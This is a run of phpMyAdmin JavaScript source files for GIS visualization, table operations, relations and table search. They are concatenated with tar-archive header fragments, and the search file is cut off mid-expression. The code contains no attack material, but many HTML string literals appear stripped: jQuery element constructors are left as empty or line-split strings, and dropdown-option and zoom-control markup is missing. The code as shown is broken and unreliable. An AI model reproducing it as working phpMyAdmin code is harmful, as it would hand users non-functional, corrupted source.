        ').insertAfter('#find_replace_form').hide(); $('#toggle_find').html(Messages.strHideFindNReplaceCriteria).on('click', function () { var $link = $(this); $('#find_replace_form').slideToggle(); if ($link.text() === Messages.strHideFindNReplaceCriteria) { $link.text(Messages.strShowFindNReplaceCriteria); } else { $link.text(Messages.strHideFindNReplaceCriteria); } return false; }); $('#find_replace_form').on('submit', function (e) { e.preventDefault(); var findReplaceForm = $('#find_replace_form'); Functions.prepareForAjaxRequest(findReplaceForm); var $msgbox = Functions.ajaxShowMessage(); $.post(findReplaceForm.attr('action'), findReplaceForm.serialize(), function (data) { Functions.ajaxRemoveMessage($msgbox); if (data.success === true) { $('#toggle_find_div').show(); $('#toggle_find').trigger('click'); $('#sqlqueryresultsouter').html(data.preview); } else { $('#sqlqueryresultsouter').html(data.error); } }); }); });dist/table/gis_visualization.js000066600000022512151724472050012714 0ustar00/** * @fileoverview functions used for visualizing GIS data * * @requires jquery */ /* global drawOpenLayers PASSIVE_EVENT_LISTENERS */ // templates/table/gis_visualization/gis_visualization.twig // Constants var zoomFactor = 1.5; var defaultX = 0; var defaultY = 0; var defaultScale = 1; // Variables var x = defaultX; var y = defaultY; var scale = defaultScale; /** @type {SVGElement|undefined} */ var gisSvg; /** @type {ol.Map|undefined} */ var map; /** * Zooms and pans the visualization. */ function zoomAndPan() { var g = gisSvg.getElementById('groupPanel'); if (!g) { return; } $('#groupPanel', gisSvg).attr('transform', 'translate(' + x + ', ' + y + ') scale(' + scale + ')'); $('circle.vector', gisSvg).attr('r', 3 / scale); $('circle.vector', gisSvg).attr('stroke-width', 2 / scale); $('polyline.vector', gisSvg).attr('stroke-width', 2 / scale); $('path.vector', gisSvg).attr('stroke-width', 0.5 / scale); } /** * Initially loads either SVG or OSM visualization based on the choice. */ function selectVisualization() { if ($('#choice').prop('checked') !== true) { $('#openlayersmap').hide(); } else { $('#placeholder').hide(); } } /** * Adds necessary styles to the div that contains the openStreetMap. */ function styleOSM() { var $placeholder = $('#placeholder'); var cssObj = { 'border': '1px solid #aaa', 'width': $placeholder.width(), 'height': $placeholder.height(), 'float': 'right' }; $('#openlayersmap').css(cssObj); } /** * Store a reference to the gis svg element. */ function storeGisSvgRef() { gisSvg = $('#placeholder').find('svg').get(0); } /** * Adds controls for zooming and panning. */ function addZoomPanControllers() { if (!gisSvg) { return; } var themeImagePath = $('#themeImagePath').val(); $('#placeholder').append( // pan arrows '', '', '', '', // zoom controls '', '', ''); } /** * Resizes the GIS visualization to fit into the space available. */ function resizeGISVisualization() { var $placeholder = $('#placeholder'); var oldWidth = $placeholder.width(); var visWidth = $('#div_view_options').width() - 48; // Assign new value for width $placeholder.width(visWidth); $(gisSvg).attr('width', visWidth); // Assign the offset created due to resizing to defaultX and center the svg. defaultX = (visWidth - oldWidth) / 2; x = defaultX; y = defaultY; scale = defaultScale; } /** * Initialize the GIS visualization. */ function initGISVisualization() { storeGisSvgRef(); // Loads either SVG or OSM visualization based on the choice selectVisualization(); // Resizes the GIS visualization to fit into the space available resizeGISVisualization(); if (typeof ol !== 'undefined') { // Adds necessary styles to the div that contains the openStreetMap styleOSM(); } // Adds controllers for zooming and panning addZoomPanControllers(); zoomAndPan(); } function drawOpenLayerMap() { $('#placeholder').hide(); $('#openlayersmap').show(); // Function doesn't work properly if #openlayersmap is hidden if (typeof map !== 'object') { // Draws openStreetMap with openLayers map = drawOpenLayers(); } } function getRelativeCoords(e) { var position = $('#placeholder').offset(); return { x: e.pageX - position.left, y: e.pageY - position.top }; } /** * @param {WheelEvent} event */ function onGisMouseWheel(event) { if (event.deltaY === 0) { return; } event.preventDefault(); var relCoords = getRelativeCoords(event); var factor = event.deltaY > 0 ? zoomFactor : 1 / zoomFactor; // zoom scale *= factor; // zooming keeping the position under mouse pointer unmoved. x = relCoords.x - (relCoords.x - x) * factor; y = relCoords.y - (relCoords.y - y) * factor; zoomAndPan(); } /** * Ajax handlers for GIS visualization page * * Actions Ajaxified here: * * Zooming in and zooming out on mouse wheel movement. * Panning the visualization on dragging. * Zooming in on double clicking. * Zooming out on clicking the zoom out button. * Panning on clicking the arrow buttons. * Displaying tooltips for GIS objects. */ /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('table/gis_visualization.js', function () { $(document).off('click', '#choice'); $(document).off('dragstart', 'svg'); $(document).off('mouseup', 'svg'); $(document).off('drag', 'svg'); $(document).off('dblclick', '#placeholder'); $(document).off('click', '#zoom_in'); $(document).off('click', '#zoom_world'); $(document).off('click', '#zoom_out'); $(document).off('click', '#left_arrow'); $(document).off('click', '#right_arrow'); $(document).off('click', '#up_arrow'); $(document).off('click', '#down_arrow'); $('.vector').off('mousemove').off('mouseout'); $('#placeholder').get(0).removeEventListener('wheel', onGisMouseWheel, PASSIVE_EVENT_LISTENERS ? { passive: false } : undefined); if (map) { // Removes ol.Map's resize listener from window map.setTarget(null); map = undefined; } }); AJAX.registerOnload('table/gis_visualization.js', function () { // If we are in GIS visualization, initialize it if ($('#gis_div').length > 0) { initGISVisualization(); } if ($('#choice').prop('checked') === true) { drawOpenLayerMap(); } if (typeof ol === 'undefined') { $('#choice, #labelChoice').hide(); } $(document).on('click', '#choice', function () { if ($(this).prop('checked') === false) { $('#placeholder').show(); $('#openlayersmap').hide(); } else { drawOpenLayerMap(); } }); $('#placeholder').get(0).addEventListener('wheel', onGisMouseWheel, PASSIVE_EVENT_LISTENERS ? { passive: false } : undefined); var dragX = 0; var dragY = 0; $('svg').draggable({ helper: function () { return $('
        '); // Give a fake element to be used for dragging display } }); $(document).on('dragstart', 'svg', function (event, dd) { $('#placeholder').addClass('placeholderDrag'); dragX = Math.round(dd.offset.left); dragY = Math.round(dd.offset.top); }); $(document).on('mouseup', 'svg', function () { $('#placeholder').removeClass('placeholderDrag'); }); $(document).on('drag', 'svg', function (event, dd) { var newX = Math.round(dd.offset.left); x += newX - dragX; dragX = newX; var newY = Math.round(dd.offset.top); y += newY - dragY; dragY = newY; zoomAndPan(); }); $(document).on('dblclick', '#placeholder', function (event) { if (event.target.classList.contains('button')) { return; } scale *= zoomFactor; // zooming in keeping the position under mouse pointer unmoved. var relCoords = getRelativeCoords(event); x = relCoords.x - (relCoords.x - x) * zoomFactor; y = relCoords.y - (relCoords.y - y) * zoomFactor; zoomAndPan(); }); $(document).on('click', '#zoom_in', function (e) { e.preventDefault(); // zoom in scale *= zoomFactor; var width = $(gisSvg).attr('width'); var height = $(gisSvg).attr('height'); // zooming in keeping the center unmoved. x = width / 2 - (width / 2 - x) * zoomFactor; y = height / 2 - (height / 2 - y) * zoomFactor; zoomAndPan(); }); $(document).on('click', '#zoom_world', function (e) { e.preventDefault(); scale = 1; x = defaultX; y = defaultY; zoomAndPan(); }); $(document).on('click', '#zoom_out', function (e) { e.preventDefault(); // zoom out scale /= zoomFactor; var width = $(gisSvg).attr('width'); var height = $(gisSvg).attr('height'); // zooming out keeping the center unmoved. x = width / 2 - (width / 2 - x) / zoomFactor; y = height / 2 - (height / 2 - y) / zoomFactor; zoomAndPan(); }); $(document).on('click', '#left_arrow', function (e) { e.preventDefault(); x += 100; zoomAndPan(); }); $(document).on('click', '#right_arrow', function (e) { e.preventDefault(); x -= 100; zoomAndPan(); }); $(document).on('click', '#up_arrow', function (e) { e.preventDefault(); y += 100; zoomAndPan(); }); $(document).on('click', '#down_arrow', function (e) { e.preventDefault(); y -= 100; zoomAndPan(); }); /** * Detect the mousemove event and show tooltips. */ $('.vector').on('mousemove', function (event) { var contents = Functions.escapeHtml($(this).attr('name')).trim(); $('#tooltip').remove(); if (contents !== '') { $('
        ' + contents + '
        ').css({ position: 'absolute', top: event.pageY + 10, left: event.pageX + 10, border: '1px solid #fdd', padding: '2px', 'background-color': '#fee', opacity: 0.90 }).appendTo('body').fadeIn(200); } }); /** * Detect the mouseout event and hide tooltips. */ $('.vector').on('mouseout', function () { $('#tooltip').remove(); }); });dist/table/operations.js000066600000030306151724472050011334 0ustar00/** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('table/operations.js', function () { $(document).off('submit', '#copyTable.ajax'); $(document).off('submit', '#moveTableForm'); $(document).off('submit', '#tableOptionsForm'); $(document).off('submit', '#partitionsForm'); $(document).off('click', '#tbl_maintenance li a.maintain_action.ajax'); $(document).off('click', '#drop_tbl_anchor.ajax'); $(document).off('click', '#drop_view_anchor.ajax'); $(document).off('click', '#truncate_tbl_anchor.ajax'); $(document).off('click', '#delete_tbl_anchor.ajax'); }); /** * Confirm and send POST request * * @param {JQuery} linkObject * @param {'TRUNCATE'|'DELETE'} action * * @return {void} */ var confirmAndPost = function (linkObject, action) { /** * @var {String} question String containing the question to be asked for confirmation */ var question = ''; if (action === 'TRUNCATE') { question += Messages.strTruncateTableStrongWarning + ' '; } else if (action === 'DELETE') { question += Messages.strDeleteTableStrongWarning + ' '; } question += Functions.sprintf(Messages.strDoYouReally, linkObject.data('query')); question += Functions.getForeignKeyCheckboxLoader(); linkObject.confirm(question, linkObject.attr('href'), function (url) { Functions.ajaxShowMessage(Messages.strProcessingRequest); var params = Functions.getJsConfirmCommonParam(this, linkObject.getPostData()); $.post(url, params, function (data) { if ($('.sqlqueryresults').length !== 0) { $('.sqlqueryresults').remove(); } if ($('.result_query').length !== 0) { $('.result_query').remove(); } if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxShowMessage(data.message); $('
        ').prependTo('#page_content'); $('.sqlqueryresults').html(data.sql_query); Functions.highlightSql($('#page_content')); } else { Functions.ajaxShowMessage(data.error, false); } }); }, Functions.loadForeignKeyCheckbox); }; /** * jQuery coding for 'Table operations'. Used on /table/operations * Attach Ajax Event handlers for Table operations */ AJAX.registerOnload('table/operations.js', function () { /** * Ajax action for submitting the "Copy table" */ $(document).on('submit', '#copyTable.ajax', function (event) { event.preventDefault(); var $form = $(this); Functions.prepareForAjaxRequest($form); var argsep = CommonParams.get('arg_separator'); $.post($form.attr('action'), $form.serialize() + argsep + 'submit_copy=Go', function (data) { if (typeof data !== 'undefined' && data.success === true) { if ($form.find('input[name=\'switch_to_new\']').prop('checked')) { CommonParams.set('db', $form.find('select[name=\'target_db\'],input[name=\'target_db\']').val()); CommonParams.set('table', $form.find('input[name=\'new_name\']').val()); CommonActions.refreshMain(false, function () { Functions.ajaxShowMessage(data.message); }); } else { Functions.ajaxShowMessage(data.message); } // Refresh navigation when the table is copied Navigation.reload(); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() }); // end of copyTable ajax submit /** * Ajax action for submitting the "Move table" */ $(document).on('submit', '#moveTableForm', function (event) { event.preventDefault(); var $form = $(this); Functions.prepareForAjaxRequest($form); var argsep = CommonParams.get('arg_separator'); $.post($form.attr('action'), $form.serialize() + argsep + 'submit_move=1', function (data) { if (typeof data !== 'undefined' && data.success === true) { CommonParams.set('db', data.params.db); CommonParams.set('table', data.params.table); CommonActions.refreshMain('index.php?route=/table/sql', function () { Functions.ajaxShowMessage(data.message); }); // Refresh navigation when the table is copied Navigation.reload(); } else { Functions.ajaxShowMessage(data.error, false); } }); }); /** * Ajax action for submitting the "Table options" */ $(document).on('submit', '#tableOptionsForm', function (event) { event.preventDefault(); event.stopPropagation(); var $form = $(this); var $tblNameField = $form.find('input[name=new_name]'); var $tblCollationField = $form.find('select[name=tbl_collation]'); var collationOrigValue = $('select[name="tbl_collation"] option[selected]').val(); var $changeAllColumnCollationsCheckBox = $('#checkbox_change_all_collations'); var question = Messages.strChangeAllColumnCollationsWarning; if ($tblNameField.val() !== $tblNameField[0].defaultValue) { // reload page and navigation if the table has been renamed Functions.prepareForAjaxRequest($form); if ($tblCollationField.val() !== collationOrigValue && $changeAllColumnCollationsCheckBox.is(':checked')) { $form.confirm(question, $form.attr('action'), function () { submitOptionsForm(); }); } else { submitOptionsForm(); } } else { if ($tblCollationField.val() !== collationOrigValue && $changeAllColumnCollationsCheckBox.is(':checked')) { $form.confirm(question, $form.attr('action'), function () { $form.removeClass('ajax').trigger('submit').addClass('ajax'); }); } else { $form.removeClass('ajax').trigger('submit').addClass('ajax'); } } function submitOptionsForm() { $.post($form.attr('action'), $form.serialize(), function (data) { if (typeof data !== 'undefined' && data.success === true) { CommonParams.set('table', data.params.table); CommonActions.refreshMain(false, function () { $('#page_content').html(data.message); Functions.highlightSql($('#page_content')); }); // Refresh navigation when the table is renamed Navigation.reload(); } else { Functions.ajaxShowMessage(data.error, false); } }); } }); /** * Ajax events for actions in the "Table maintenance" */ $(document).on('click', '#tbl_maintenance li a.maintain_action.ajax', function (event) { event.preventDefault(); var $link = $(this); if ($('.sqlqueryresults').length !== 0) { $('.sqlqueryresults').remove(); } if ($('.result_query').length !== 0) { $('.result_query').remove(); } // variables which stores the common attributes var params = $.param({ 'ajax_request': 1, 'server': CommonParams.get('server') }); var postData = $link.getPostData(); if (postData) { params += CommonParams.get('arg_separator') + postData; } $.post($link.attr('href'), params, function (data) { function scrollToTop() { $('html, body').animate({ scrollTop: 0 }); } var $tempDiv; if (typeof data !== 'undefined' && data.success === true && data.sql_query !== undefined) { Functions.ajaxShowMessage(data.message); $('
        ').prependTo('#page_content'); $('.sqlqueryresults').html(data.sql_query); Functions.highlightSql($('#page_content')); scrollToTop(); } else if (typeof data !== 'undefined' && data.success === true) { $tempDiv = $('
        '); $tempDiv.html(data.message); var $success = $tempDiv.find('.result_query .alert-success'); Functions.ajaxShowMessage($success); $('
        ').prependTo('#page_content'); $('.sqlqueryresults').html(data.message); Functions.highlightSql($('#page_content')); $('.sqlqueryresults').children('fieldset,br').remove(); scrollToTop(); } else { $tempDiv = $('
        '); $tempDiv.html(data.error); var $error; if ($tempDiv.find('.error code').length !== 0) { $error = $tempDiv.find('.error code').addClass('error'); } else { $error = $tempDiv; } Functions.ajaxShowMessage($error, false); } }); // end $.post() }); // end of table maintenance ajax click /** * Ajax action for submitting the "Partition Maintenance" * Also, asks for confirmation when DROP partition is submitted */ $(document).on('submit', '#partitionsForm', function (event) { event.preventDefault(); var $form = $(this); function submitPartitionMaintenance() { var argsep = CommonParams.get('arg_separator'); var submitData = $form.serialize() + argsep + 'ajax_request=true' + argsep + 'ajax_page_request=true'; Functions.ajaxShowMessage(Messages.strProcessingRequest); AJAX.source = $form; $.post($form.attr('action'), submitData, AJAX.responseHandler); } if ($('#partitionOperationRadioDrop').is(':checked')) { $form.confirm(Messages.strDropPartitionWarning, $form.attr('action'), function () { submitPartitionMaintenance(); }); } else if ($('#partitionOperationRadioTruncate').is(':checked')) { $form.confirm(Messages.strTruncatePartitionWarning, $form.attr('action'), function () { submitPartitionMaintenance(); }); } else { submitPartitionMaintenance(); } }); $(document).on('click', '#drop_tbl_anchor.ajax', function (event) { event.preventDefault(); var $link = $(this); /** * @var {String} question String containing the question to be asked for confirmation */ var question = Messages.strDropTableStrongWarning + ' '; question += Functions.sprintf(Messages.strDoYouReally, $link[0].getAttribute('data-query')); question += Functions.getForeignKeyCheckboxLoader(); $(this).confirm(question, $(this).attr('href'), function (url) { var $msgbox = Functions.ajaxShowMessage(Messages.strProcessingRequest); var params = Functions.getJsConfirmCommonParam(this, $link.getPostData()); $.post(url, params, function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxRemoveMessage($msgbox); // Table deleted successfully, refresh both the frames Navigation.reload(); CommonParams.set('table', ''); CommonActions.refreshMain(CommonParams.get('opendb_url'), function () { Functions.ajaxShowMessage(data.message); }); } else { Functions.ajaxShowMessage(data.error, false); } }); }, Functions.loadForeignKeyCheckbox); }); // end of Drop Table Ajax action $(document).on('click', '#drop_view_anchor.ajax', function (event) { event.preventDefault(); var $link = $(this); /** * @var {String} question String containing the question to be asked for confirmation */ var question = Messages.strDropTableStrongWarning + ' '; question += Functions.sprintf(Messages.strDoYouReally, 'DROP VIEW `' + Functions.escapeHtml(CommonParams.get('table') + '`')); $(this).confirm(question, $(this).attr('href'), function (url) { var $msgbox = Functions.ajaxShowMessage(Messages.strProcessingRequest); var params = Functions.getJsConfirmCommonParam(this, $link.getPostData()); $.post(url, params, function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxRemoveMessage($msgbox); // Table deleted successfully, refresh both the frames Navigation.reload(); CommonParams.set('table', ''); CommonActions.refreshMain(CommonParams.get('opendb_url'), function () { Functions.ajaxShowMessage(data.message); }); } else { Functions.ajaxShowMessage(data.error, false); } }); }); }); // end of Drop View Ajax action $(document).on('click', '#truncate_tbl_anchor.ajax', function (event) { event.preventDefault(); confirmAndPost($(this), 'TRUNCATE'); }); $(document).on('click', '#delete_tbl_anchor.ajax', function (event) { event.preventDefault(); confirmAndPost($(this), 'DELETE'); }); }); // end $(document).ready for 'Table operations'dist/table/relation.js000066600000020354151724472050010770 0ustar00/** * for table relation */ var TableRelation = {}; TableRelation.showHideClauses = function ($thisDropdown) { if ($thisDropdown.val() === '') { $thisDropdown.parent().nextAll('span').hide(); } else { if ($thisDropdown.is('select[name^="destination_foreign_column"]')) { $thisDropdown.parent().nextAll('span').show(); } } }; /** * Sets dropdown options to values * @param $dropdown * @param values * @param selectedValue * @return {void} */ TableRelation.setDropdownValues = function ($dropdown, values, selectedValue) { $dropdown.empty(); var optionsAsString = ''; // add an empty string to the beginning for empty selection values.unshift(''); $.each(values, function () { optionsAsString += ''; }); $dropdown.append($(optionsAsString)); }; /** * Retrieves and populates dropdowns to the left based on the selected value * * @param $dropdown the dropdown whose value got changed * @return {void} */ TableRelation.getDropdownValues = function ($dropdown) { var foreignDb = null; var foreignTable = null; var $databaseDd; var $tableDd; var $columnDd; var foreign = ''; // if the changed dropdown is for foreign key constraints if ($dropdown.is('select[name^="destination_foreign"]')) { $databaseDd = $dropdown.parent().parent().parent().find('select[name^="destination_foreign_db"]'); $tableDd = $dropdown.parent().parent().parent().find('select[name^="destination_foreign_table"]'); $columnDd = $dropdown.parent().parent().parent().find('select[name^="destination_foreign_column"]'); foreign = '_foreign'; } else { // internal relations $databaseDd = $dropdown.parent().find('select[name^="destination_db"]'); $tableDd = $dropdown.parent().find('select[name^="destination_table"]'); $columnDd = $dropdown.parent().find('select[name^="destination_column"]'); } // if the changed dropdown is a database selector if ($dropdown.is('select[name^="destination' + foreign + '_db"]')) { foreignDb = $dropdown.val(); // if no database is selected empty table and column dropdowns if (foreignDb === '') { TableRelation.setDropdownValues($tableDd, []); TableRelation.setDropdownValues($columnDd, []); return; } } else { // if a table selector foreignDb = $databaseDd.val(); foreignTable = $dropdown.val(); // if no table is selected empty the column dropdown if (foreignTable === '') { TableRelation.setDropdownValues($columnDd, []); return; } } var $msgbox = Functions.ajaxShowMessage(); var $form = $dropdown.parents('form'); var $db = $form.find('input[name="db"]').val(); var $table = $form.find('input[name="table"]').val(); var argsep = CommonParams.get('arg_separator'); var params = 'getDropdownValues=true' + argsep + 'ajax_request=true' + argsep + 'db=' + encodeURIComponent($db) + argsep + 'table=' + encodeURIComponent($table) + argsep + 'foreign=' + (foreign !== '') + argsep + 'foreignDb=' + encodeURIComponent(foreignDb) + (foreignTable !== null ? argsep + 'foreignTable=' + encodeURIComponent(foreignTable) : ''); var $server = $form.find('input[name="server"]'); if ($server.length > 0) { params += argsep + 'server=' + $form.find('input[name="server"]').val(); } $.ajax({ type: 'POST', url: 'index.php?route=/table/relation', data: params, dataType: 'json', success: function (data) { Functions.ajaxRemoveMessage($msgbox); if (typeof data !== 'undefined' && data.success) { // if the changed dropdown is a database selector if (foreignTable === null) { // set values for table and column dropdowns TableRelation.setDropdownValues($tableDd, data.tables); TableRelation.setDropdownValues($columnDd, []); } else { // if a table selector // set values for the column dropdown var primary = null; if (typeof data.primary !== 'undefined' && 1 === data.primary.length) { primary = data.primary[0]; } TableRelation.setDropdownValues($columnDd.first(), data.columns, primary); TableRelation.setDropdownValues($columnDd.slice(1), data.columns); } } else { Functions.ajaxShowMessage(data.error, false); } } }); }; /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('table/relation.js', function () { $('body').off('change', 'select[name^="destination_db"], ' + 'select[name^="destination_table"], ' + 'select[name^="destination_foreign_db"], ' + 'select[name^="destination_foreign_table"]'); $('body').off('click', 'a.add_foreign_key_field'); $('body').off('click', 'a.add_foreign_key'); $('a.drop_foreign_key_anchor.ajax').off('click'); }); AJAX.registerOnload('table/relation.js', function () { /** * Ajax event handler to fetch table/column dropdown values. */ $('body').on('change', 'select[name^="destination_db"], ' + 'select[name^="destination_table"], ' + 'select[name^="destination_foreign_db"], ' + 'select[name^="destination_foreign_table"]', function () { TableRelation.getDropdownValues($(this)); }); /** * Ajax event handler to add a column to a foreign key constraint. */ $('body').on('click', 'a.add_foreign_key_field', function (event) { event.preventDefault(); event.stopPropagation(); // Add field. $(this).prev('span').clone(true, true).insertBefore($(this)).find('select').val(''); // Add foreign field. var $sourceElem = $('select[name^="destination_foreign_column[' + $(this).attr('data-index') + ']"]').last().parent(); $sourceElem.clone(true, true).insertAfter($sourceElem).find('select').val(''); }); /** * Ajax event handler to add a foreign key constraint. */ $('body').on('click', 'a.add_foreign_key', function (event) { event.preventDefault(); event.stopPropagation(); var $prevRow = $(this).closest('tr').prev('tr'); var $newRow = $prevRow.clone(true, true); // Update serial number. var currIndex = $newRow.find('a.add_foreign_key_field').attr('data-index'); var newIndex = parseInt(currIndex) + 1; $newRow.find('a.add_foreign_key_field').attr('data-index', newIndex); // Update form parameter names. $newRow.find('select[name^="foreign_key_fields_name"]').not($newRow.find('select[name^="foreign_key_fields_name"]').first()).find('select[name^="destination_foreign_column"]').not($newRow.find('select[name^="foreign_key_fields_name"]').not($newRow.find('select[name^="foreign_key_fields_name"]').first()).find('select[name^="destination_foreign_column"]').first()).each(function () { $(this).parent().remove(); }); $newRow.find('input, select').each(function () { $(this).attr('name', $(this).attr('name').replace(/\d/, newIndex)); }); $newRow.find('input[type="text"]').each(function () { $(this).val(''); }); // Finally add the row. $newRow.insertAfter($prevRow); }); /** * Ajax Event handler for 'Drop Foreign key' */ $('a.drop_foreign_key_anchor.ajax').on('click', function (event) { event.preventDefault(); var $anchor = $(this); // Object containing reference to the current field's row var $currRow = $anchor.parents('tr'); var dropQuery = Functions.escapeHtml($currRow.children('td').children('.drop_foreign_key_msg').val()); var question = Functions.sprintf(Messages.strDoYouReally, dropQuery); $anchor.confirm(question, $anchor.attr('href'), function (url) { var $msg = Functions.ajaxShowMessage(Messages.strDroppingForeignKey, false); var params = Functions.getJsConfirmCommonParam(this, $anchor.getPostData()); $.post(url, params, function (data) { if (data.success === true) { Functions.ajaxRemoveMessage($msg); CommonActions.refreshMain(false, function () { // Do nothing }); } else { Functions.ajaxShowMessage(Messages.strErrorProcessingRequest + ' : ' + data.error, false); } }); // end $.post() }); }); // end Drop Foreign key var windowWidth = $(window).width(); $('.jsresponsive').css('max-width', windowWidth - 35 + 'px'); });dist/table/select.js000066600000027130151724472050010431 0ustar00/** * @fileoverview JavaScript functions used on /table/search * * @requires jQuery * @requires js/functions.js */ /* global changeValueFieldType, verifyAfterSearchFieldChange */ // js/table/change.js /* global openGISEditor, gisEditorLoaded, loadJSAndGISEditor, loadGISEditor */ // js/gis_data_editor.js var TableSelect = {}; /** * Checks if given data-type is numeric or date. * * @param {string} dataType Column data-type * * @return {boolean | string} */ TableSelect.checkIfDataTypeNumericOrDate = function (dataType) { // To test for numeric data-types. var numericRegExp = new RegExp('TINYINT|SMALLINT|MEDIUMINT|INT|BIGINT|DECIMAL|FLOAT|DOUBLE|REAL', 'i'); // To test for date data-types. var dateRegExp = new RegExp('DATETIME|DATE|TIMESTAMP|TIME|YEAR', 'i'); // Return matched data-type if (numericRegExp.test(dataType)) { return numericRegExp.exec(dataType)[0]; } if (dateRegExp.test(dataType)) { return dateRegExp.exec(dataType)[0]; } return false; }; /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('table/select.js', function () { $('#togglesearchformlink').off('click'); $(document).off('submit', '#tbl_search_form.ajax'); $('select.geom_func').off('change'); $(document).off('click', 'span.open_search_gis_editor'); $('body').off('change', 'select[name*="criteriaColumnOperators"]'); // Fix for bug #13778, changed 'click' to 'change' }); AJAX.registerOnload('table/select.js', function () { /** * Prepare a div containing a link, otherwise it's incorrectly displayed * after a couple of clicks */ $('
        ').insertAfter('#tbl_search_form') // don't show it until we have results on-screen .hide(); $('#togglesearchformlink').html(Messages.strShowSearchCriteria).on('click', function () { var $link = $(this); $('#tbl_search_form').slideToggle(); if ($link.text() === Messages.strHideSearchCriteria) { $link.text(Messages.strShowSearchCriteria); } else { $link.text(Messages.strHideSearchCriteria); } // avoid default click action return false; }); var tableRows = $('#fieldset_table_qbe select.column-operator'); $.each(tableRows, function (index, item) { $(item).on('change', function () { changeValueFieldType(this, index); verifyAfterSearchFieldChange(index, '#tbl_search_form'); }); }); /** * Ajax event handler for Table search */ $(document).on('submit', '#tbl_search_form.ajax', function (event) { var unaryFunctions = ['IS NULL', 'IS NOT NULL', '= \'\'', '!= \'\'']; var geomUnaryFunctions = ['IsEmpty', 'IsSimple', 'IsRing', 'IsClosed']; // jQuery object to reuse var $searchForm = $(this); event.preventDefault(); // empty previous search results while we are waiting for new results $('#sqlqueryresultsouter').empty(); var $msgbox = Functions.ajaxShowMessage(Messages.strSearching, false); Functions.prepareForAjaxRequest($searchForm); var values = {}; $searchForm.find(':input').each(function () { var $input = $(this); if ($input.attr('type') === 'checkbox' || $input.attr('type') === 'radio') { if ($input.is(':checked')) { values[this.name] = $input.val(); } } else { values[this.name] = $input.val(); } }); var columnCount = $('select[name="columnsToDisplay[]"] option').length; // Submit values only for the columns that have unary column operator or a search criteria for (var a = 0; a < columnCount; a++) { if ($.inArray(values['criteriaColumnOperators[' + a + ']'], unaryFunctions) >= 0) { continue; } if (values['geom_func[' + a + ']'] && $.inArray(values['geom_func[' + a + ']'], geomUnaryFunctions) >= 0) { continue; } if (values['criteriaValues[' + a + ']'] === '' || values['criteriaValues[' + a + ']'] === null) { delete values['criteriaValues[' + a + ']']; delete values['criteriaColumnOperators[' + a + ']']; delete values['criteriaColumnNames[' + a + ']']; delete values['criteriaColumnTypes[' + a + ']']; delete values['criteriaColumnCollations[' + a + ']']; } } // If all columns are selected, use a single parameter to indicate that if (values['columnsToDisplay[]'] !== null) { if (values['columnsToDisplay[]'].length === columnCount) { delete values['columnsToDisplay[]']; values.displayAllColumns = true; } } else { values.displayAllColumns = true; } $.post($searchForm.attr('action'), values, function (data) { Functions.ajaxRemoveMessage($msgbox); if (typeof data !== 'undefined' && data.success === true) { if (typeof data.sql_query !== 'undefined') { // zero rows $('#sqlqueryresultsouter').html(data.sql_query); } else { // results found $('#sqlqueryresultsouter').html(data.message); $('.sqlqueryresults').trigger('makegrid'); } $('#tbl_search_form') // workaround for bug #3168569 - Issue on toggling the "Hide search criteria" in chrome. .slideToggle().hide(); $('#togglesearchformlink') // always start with the Show message .text(Messages.strShowSearchCriteria); $('#togglesearchformdiv') // now it's time to show the div containing the link .show(); $('html, body').animate({ scrollTop: 0 }, 'fast'); } else { $('#sqlqueryresultsouter').html(data.error); } Functions.highlightSql($('#sqlqueryresultsouter')); }); // end $.post() }); // Following section is related to the 'function based search' for geometry data types. // Initially hide all the open_gis_editor spans $('span.open_search_gis_editor').hide(); $('select.geom_func').on('change', function () { var $geomFuncSelector = $(this); var binaryFunctions = ['Contains', 'Crosses', 'Disjoint', 'Equals', 'Intersects', 'Overlaps', 'Touches', 'Within', 'MBRContains', 'MBRDisjoint', 'MBREquals', 'MBRIntersects', 'MBROverlaps', 'MBRTouches', 'MBRWithin', 'ST_Contains', 'ST_Crosses', 'ST_Disjoint', 'ST_Equals', 'ST_Intersects', 'ST_Overlaps', 'ST_Touches', 'ST_Within']; var tempArray = ['Envelope', 'EndPoint', 'StartPoint', 'ExteriorRing', 'Centroid', 'PointOnSurface']; var outputGeomFunctions = binaryFunctions.concat(tempArray); // If the chosen function takes two geometry objects as parameters var $operator = $geomFuncSelector.parents('tr').find('td').eq(4).find('select'); if ($.inArray($geomFuncSelector.val(), binaryFunctions) >= 0) { $operator.prop('readonly', true); } else { $operator.prop('readonly', false); } // if the chosen function's output is a geometry, enable GIS editor var $editorSpan = $geomFuncSelector.parents('tr').find('span.open_search_gis_editor'); if ($.inArray($geomFuncSelector.val(), outputGeomFunctions) >= 0) { $editorSpan.show(); } else { $editorSpan.hide(); } }); $(document).on('click', 'span.open_search_gis_editor', function (event) { event.preventDefault(); var $span = $(this); // Current value var value = $span.parent('td').children('input[type=\'text\']').val(); // Field name var field = 'Parameter'; // Column type var geomFunc = $span.parents('tr').find('.geom_func').val(); var type; if (geomFunc === 'Envelope') { type = 'polygon'; } else if (geomFunc === 'ExteriorRing') { type = 'linestring'; } else { type = 'point'; } // Names of input field and null checkbox var inputName = $span.parent('td').children('input[type=\'text\']').attr('name'); // Token openGISEditor(); if (!gisEditorLoaded) { loadJSAndGISEditor(value, field, type, inputName); } else { loadGISEditor(value, field, type, inputName); } }); /** * Ajax event handler for Range-Search. */ $('body').on('change', 'select[name*="criteriaColumnOperators"]', function () { // Fix for bug #13778, changed 'click' to 'change' var $sourceSelect = $(this); // Get the column name. var columnName = $(this).closest('tr').find('th').first().text(); // Get the data-type of column excluding size. var dataType = $(this).closest('tr').find('td[data-type]').attr('data-type'); dataType = TableSelect.checkIfDataTypeNumericOrDate(dataType); // Get the operator. var operator = $(this).val(); if ((operator === 'BETWEEN' || operator === 'NOT BETWEEN') && dataType) { var $msgbox = Functions.ajaxShowMessage(); $.ajax({ url: 'index.php?route=/table/search', type: 'POST', data: { 'server': CommonParams.get('server'), 'ajax_request': 1, 'db': $('input[name="db"]').val(), 'table': $('input[name="table"]').val(), 'column': columnName, 'range_search': 1 }, success: function (response) { Functions.ajaxRemoveMessage($msgbox); if (response.success) { // Get the column min value. var min = response.column_data.min ? '(' + 